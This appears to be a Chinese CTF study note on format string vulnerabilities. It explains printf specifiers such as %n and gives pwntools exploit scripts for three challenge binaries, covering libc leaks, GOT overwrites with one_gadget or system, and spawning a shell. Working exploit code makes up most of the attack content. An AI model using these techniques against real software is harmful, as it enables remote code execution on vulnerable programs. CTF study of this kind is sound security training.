C语言变参函数
格式化字符串
$第n个参数
%s变量所对应地址的内容
%p获取对应栈的内存
%n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
hn(half int)
hhn(half half int)
1.找到偏移值
通过fmtarg 来判断某个参数的偏移。
2.任意地址写入
3.
->RELRO->got表项->一般改printf函数
栈
one_gadget
malloc_hook:printf参数超过 %43$p —>调用 malloc
iofile
jarvisoj_fm1
关闭PIE,我们可以直接将x的地址写入后用%n修改所指的变量。buf为栈上第11个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
context(log_level='debug',arch='i386',os='linux') p=process('./fm') x_addr=0x0804a02c payload=p32(x_addr)+b'%11$n' gdb.attach(p,'b *0x80485AD')
p.sendline(payload) pause() p.interactive()
|
axb_2019_fmt32
翻译。他是一个复读机(-_-),32位程序,未开启PIE保护和canary保护。显然,放在此专题里,这是一个格式化字符串漏洞
sprintf
注意到有memset
函数,将栈上空间们置0,因此可以使用one_gadget
。
FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import* context(log_level='debug',arch='i386',os='linux')
p=remote('node5.buuoj.cn',29375) libc=ELF('/home/randolfluo/Desktop/libc/ubuntu16/libc-2.23_x86.so')
elf=ELF('axb_2019_fmt32') got_addr=elf.got['read'] payload=b'a'+p32(got_addr)+b'114514'+b'%8$s'
p.sendafter('Please tell me:',payload) p.recvuntil(b'114514') read_real_addr=u32(p.recv(4)) print("read:"+hex(read_real_addr)) libc_base=read_real_addr-libc.symbols['read'] one_gadget=libc_base+0x3a819 payload1= b'a'+fmtstr_payload(8,{got_addr:one_gadget},write_size = "byte",numbwritten = 0xa) p.sendafter('me:',payload1) p.sendline("cat flag") p.interactive()
|
[第五空间2019 决赛]PWN5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int __cdecl main(int a1) { unsigned int v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result; }
|
首先随机生成4位passwd,然后输入用户名密码,如果密码正确,则调用system函数。我们可以从题目中的printf(buf);
中看到格式化字符串漏洞。我们可以确定两点。
0x1:修改dword_804C044的值
1 2 3 4 5 6 7 8 9
| from pwn import * p = process("./space5") bss_addr = 0x0804C044
payload = fmtstr_payload(10,{bss_addr:0x1234}) p.sendlineafter("your name:",payload) p.sendlineafter("your passwd",str(0x1234)) p.interactive()
|
0x2:修改函数地址为system地址
由于该程序是动态链接的,但是没有开启PIE保护,且atoi
函数的参数是我们可以控制的。我们知道plt
是地址的填写者,got
是地址的保存者。因此可以通过修改atoi
的got
地址跳转到plt
表项来执行system函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
context(log_level='debug',arch='i386',os='linux') p = process("./space5") p = remote("node5.buuoj.cn",29157) elf = ELF('./space5')
atoi_addr = elf.got['atoi'] system_plt_addr = elf.plt['system']
payload = fmtstr_payload(10,{atoi_addr:system_plt_addr}) p.sendlineafter("your name:",payload) p.sendlineafter("your passwd",'/bin/sh\x00') p.interactive()
|